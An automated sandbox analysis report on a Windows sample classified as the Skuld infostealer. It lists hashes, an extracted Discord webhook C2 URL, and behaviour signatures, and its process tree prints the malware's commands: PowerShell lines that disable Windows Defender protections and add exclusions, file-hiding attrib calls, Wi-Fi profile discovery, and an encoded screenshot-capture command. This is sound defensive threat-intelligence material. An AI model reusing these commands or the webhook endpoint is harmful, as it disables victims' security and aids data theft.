Analysis

  • max time kernel
    3s
  • max time network
    8s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241211-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    13-12-2024 06:16

General

  • Target

    Terbium.1.2.exe

  • Size

    9.5MB

  • MD5

    df00bc36e9b00874ff8f495a29d9f429

  • SHA1

    3f3140a188943673e7b90b819005548042c9b675

  • SHA256

    27e10c80006f2080f85b3b9aff0d165044d1954385ea16d6e48dabaa6a1ec5af

  • SHA512

    c79ce66d9c73e64cc3060437bf9d2f9f3f17067b0e4ebb8b30d4863ec417ad1f95c315810168d34058f82804ca59a1d8f442d81c265e57dc330670025b152f88

  • SSDEEP

    98304:YVMHJFAvLQWabWp2le10+9XTA8E6oMsaSk5e/UI:PFAvLCev10+9DA16oM1e/UI

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1260739914253991956/NKvC4KymlhPTNJNmbkQtDwm5AXdtAESkrV95KgMKN5kz9Z_06X949ZzR7jGGnoW0AnBX

Signatures

  • Skuld family
  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 62 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Terbium.1.2.exe
    "C:\Users\Admin\AppData\Local\Temp\Terbium.1.2.exe"
    1⤵
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2444
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\Terbium.1.2.exe
      2⤵
      • Views/modifies file attributes
      PID:744
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:4876
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1076
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4708
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:3960
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\Terbium.1.2.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:1504
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:4540
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious behavior: EnumeratesProcesses
      PID:4296
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:4196
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4324
    • C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      2⤵
      • Event Triggered Execution: Netsh Helper DLL
      • System Network Configuration Discovery: Wi-Fi Discovery
      PID:1032
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      2⤵
        PID:1416
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pczxtz0i\pczxtz0i.cmdline"
          3⤵
            PID:4100
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA1AE.tmp" "c:\Users\Admin\AppData\Local\Temp\pczxtz0i\CSCC8843BEE1684353897293F7D27E7F5.TMP"
              4⤵
                PID:408
          • C:\Windows\system32\attrib.exe
            attrib -r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Views/modifies file attributes
            PID:3820
          • C:\Windows\system32\attrib.exe
            attrib +r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Views/modifies file attributes
            PID:2340

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          3eb3833f769dd890afc295b977eab4b4

          SHA1

          e857649b037939602c72ad003e5d3698695f436f

          SHA256

          c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

          SHA512

          c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          60b3262c3163ee3d466199160b9ed07d

          SHA1

          994ece4ea4e61de0be2fdd580f87e3415f9e1ff6

          SHA256

          e3b30f16d41f94cba2b8a75f35c91ae7418465abfbfe5477ec0551d1952b2fdb

          SHA512

          081d2015cb94477eb0fbc38f44b6d9b4a3204fb3ad0b7d0e146a88ab4ab9a0d475207f1adae03f4a81ccc5beb7568dc8be1249f69e32fe56efd9ee2f6ee3b1af

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          abac5eec5404e29530a60b0906f9e8cf

          SHA1

          0e19f722e8546abdb72675f1d9c20bac1e41c15c

          SHA256

          e7f88d5de31e88fb558a71ac98a4919798cc0218338449db034453a934b1ba3e

          SHA512

          1d7dd64fa4d4526ea8f827e787c31b65ccef3f02971232a9a501ae13a0cc16494f6df5bc5fb853d2d255e104896113b98f98f01751c124f07aa9cc3b999edea5

        • C:\Users\Admin\AppData\Local\Temp\RESA1AE.tmp

          Filesize

          1KB

          MD5

          64dc5eed43fd849a178f65d4ef579ea4

          SHA1

          db2e571e0103d3cf50ff8b6d1ba300aeb3cb8985

          SHA256

          e40c42379817dfab9a41ab7e05462500a0d5389a528d11741b1cf95a95a5b1e4

          SHA512

          97379ff35bbb3e8d5ba82dc80371bc97e07367cd11a5a49f9bb5889c724708c0f612c0315f7d685fe62b80752f3583482ecd1151b6663cf840f99377bab10309

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qzmyij1i.kqr.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\pczxtz0i\pczxtz0i.dll

          Filesize

          4KB

          MD5

          ccf2fd439df75b88465559425fa9c6a0

          SHA1

          0b88190e36809404b0faa6e04d6fed807b359c28

          SHA256

          56a24df005d6811f3c64d82138b6c1c85f8696a6c011e89221e020c865453d30

          SHA512

          d2b967f0b186cc9f9ea4a9088ec871b3649f2ec912b01de9d81eddc0b3f1c929d776bb726d9db314ac743c8d70468e6968033d4e1d5d68a22e4c8143eae954bd

        • C:\Users\Admin\AppData\Local\Temp\tTx5Mj7HSu\Display (1).png

          Filesize

          423KB

          MD5

          b6dd650272b847e1f021b1d80b7cdb64

          SHA1

          8f2f27fa1dc0ba990e09de13929e98182eda7bad

          SHA256

          b243fb2f2e708542264806c7ba6d4aa551d96c7fbdab63326d4f750064accb8a

          SHA512

          e0f1f79e447c4d0fa9fc34ae4c9da41e868b094cddfd93c3d4b3e717e20d6ec1ca7933c2fbfa3b047763ae7676cc4856ca39e92fc9c62c64750567ea1f0ade27

        • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

          Filesize

          9.5MB

          MD5

          df00bc36e9b00874ff8f495a29d9f429

          SHA1

          3f3140a188943673e7b90b819005548042c9b675

          SHA256

          27e10c80006f2080f85b3b9aff0d165044d1954385ea16d6e48dabaa6a1ec5af

          SHA512

          c79ce66d9c73e64cc3060437bf9d2f9f3f17067b0e4ebb8b30d4863ec417ad1f95c315810168d34058f82804ca59a1d8f442d81c265e57dc330670025b152f88

        • C:\Windows\System32\drivers\etc\hosts

          Filesize

          2KB

          MD5

          6e2386469072b80f18d5722d07afdc0b

          SHA1

          032d13e364833d7276fcab8a5b2759e79182880f

          SHA256

          ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

          SHA512

          e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

        • \??\c:\Users\Admin\AppData\Local\Temp\pczxtz0i\CSCC8843BEE1684353897293F7D27E7F5.TMP

          Filesize

          652B

          MD5

          80309bd72b72158a55f325aab6831994

          SHA1

          6028ecbf5ba821d43c9a2d7a335b2fc16b2b2bfe

          SHA256

          24095d60773978bf47508bd9911a24c998c95df0167c8ca7f9f00be4459d058d

          SHA512

          3f504e74f8bd7779006302199e2d638c99cb29c3b41d7a09f77b65d0700f322c53438ca7eeb259910afbc9f48d3290a2e4768d4b3b11c3093f51f836c19f11b2

        • \??\c:\Users\Admin\AppData\Local\Temp\pczxtz0i\pczxtz0i.0.cs

          Filesize

          1004B

          MD5

          c76055a0388b713a1eabe16130684dc3

          SHA1

          ee11e84cf41d8a43340f7102e17660072906c402

          SHA256

          8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

          SHA512

          22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

        • \??\c:\Users\Admin\AppData\Local\Temp\pczxtz0i\pczxtz0i.cmdline

          Filesize

          607B

          MD5

          bd71514821e0772d2aaf85a4065a1c5a

          SHA1

          17d9271b0cc0186f7a0d6026984b0f41be9b42dd

          SHA256

          e1351a72680c8f6750b27335c30910d0bfa682e41a1756364d1c7b6811c61a17

          SHA512

          e4aa8e7bd5ed38e878809794650d82e43c9fa2f998f71ff0660a1cee0becde484cbd992baf2a6086bdbc7b68c54bc023f8af2fa5faad16ad13eead4239c1f908

        • memory/1416-55-0x000001B0F4C10000-0x000001B0F4C18000-memory.dmp

          Filesize

          32KB

        • memory/1504-12-0x000001E7590E0000-0x000001E759102000-memory.dmp

          Filesize

          136KB